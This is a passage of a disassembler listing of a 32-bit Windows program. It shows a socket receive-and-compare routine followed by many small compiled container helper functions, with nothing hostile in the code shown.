		jz	loc_4218C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4218C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4218C2
		push	10h
		push	offset loc_444DFC
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AFF
		add	esp, 10h
		test	al, al
		jz	short loc_421891
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421891:				; CODE XREF: ___:0042186Ej
		push	10h
		push	offset dword_444E10
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AFF
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4218C2:				; CODE XREF: ___:004217DBj
					; ___:004217F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4218C9:				; CODE XREF: ___:0042177Ej
					; ___:00421787j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421950:				; CODE XREF: ___:00401A0Fj
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421970	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421970	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219B0	proc near		; CODE XREF: sub_4018E8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401910
sub_4219B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219F0	proc near		; CODE XREF: sub_401825j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40197E
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401956
sub_4219F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A60	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EDD
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AA0	proc near		; CODE XREF: sub_40197Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421AA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AD0	proc near		; CODE XREF: sub_402185j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40197E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40190B
sub_421AD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B10	proc near		; CODE XREF: sub_40170Dj
		push	esi
		mov	esi, ecx
		call	sub_4019FB
		mov	eax, esi
		pop	esi
		retn
sub_421B10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421B50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B80	proc near		; CODE XREF: sub_401811j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40201D
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BB0	proc near		; CODE XREF: sub_4016EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421BB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013F7
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401465
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021DA
sub_421BF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C60	proc near		; CODE XREF: sub_401465j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D89
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CA0	proc near		; CODE XREF: sub_4013F7j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421CA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013F7
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BC2
sub_421CD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D10	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421D10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421D30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D50	proc near		; CODE XREF: sub_401839j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D5C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421DB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401EEC
		mov	edi, eax
		push	edi
		call	sub_401B31
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421DB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B31
		push	edi
		mov	[eax], ebx
		call	sub_401B31
		mov	edi, [eax]
		push	edi
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E5B
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E50	proc near		; CODE XREF: sub_40190Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401D07
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401910
sub_421E50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401D07
		push	edi
		mov	[eax], ebx
		call	sub_401D07
		mov	edi, [eax]
		push	edi
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017F3
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_4019A6j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jz	short loc_421F4A


loc_421F08:				; CODE XREF: sub_421EF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020D6
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A2D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jnz	short loc_421F08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421F4A:				; CODE XREF: sub_421EF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F80	proc near		; CODE XREF: sub_401910j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401E0B
sub_421F80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F95
		mov	edi, esi


loc_421F95:				; CODE XREF: ___:00421F91j
		push	esi
		call	sub_40206D
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421FAA
		mov	edi, esi


loc_421FAA:				; CODE XREF: ___:00421FA6j
		push	esi
		call	sub_401D07
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FD0	proc near		; CODE XREF: sub_401956j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401550
sub_421FD0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FF0	proc near		; CODE XREF: sub_40206Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421FF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422010	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422010	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_4019FBj
		mov	eax, ecx
		retn
sub_422030	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_401EDDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401523
		mov	eax, esi
		pop	esi
		retn	4
sub_422050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422080	proc near		; CODE XREF: sub_40201Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422080	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220B0	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018F7
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_4220B0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013E8
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4221AA


loc_422168:				; CODE XREF: sub_422150+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019BA
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B90
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422168
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4221AA:				; CODE XREF: sub_422150+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422150	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020DB
sub_4221E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4221F5
		mov	edi, esi


loc_4221F5:				; CODE XREF: ___:004221F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42220A
		mov	edi, esi


loc_42220A:				; CODE XREF: ___:00422206j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422230	proc near		; CODE XREF: sub_4021DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018F2
sub_422230	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422250	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422270	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422290	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422290	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222B0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018FC
		mov	eax, esi
		pop	esi
		retn	4
sub_4222B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222E0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4222E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422310	proc near		; CODE XREF: sub_401E5Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A3C
		add	esp, 8
		retn	8
sub_422310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422340	proc near		; CODE XREF: sub_401A2Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020D6
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40206D
		push	esi
		mov	ebx, eax
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401D07
		push	esi
		mov	ebx, eax
		call	sub_40206D
		mov	eax, [eax]
		push	eax
		call	sub_401D07
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40163B
		push	esi
		mov	ecx, edi
		call	sub_401956
sub_422340	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422400	proc near		; CODE XREF: sub_401D07j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422400	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422420	proc near		; CODE XREF: sub_401E0Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_422420	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422450	proc near		; CODE XREF: sub_401550j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422450	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422470	proc near		; CODE XREF: sub_4017F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40203B
		add	esp, 8
		retn	8
sub_422470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224A0	proc near		; CODE XREF: sub_401523j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4224A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4224C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224E0	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4224E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422510	proc near		; CODE XREF: sub_401B90j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019BA
		mov	ecx, eax
		call	sub_4018F7
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E7E
		push	esi
		mov	ecx, edi
		call	sub_4021DA
sub_422510	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225D0	proc near		; CODE XREF: sub_4010EBj

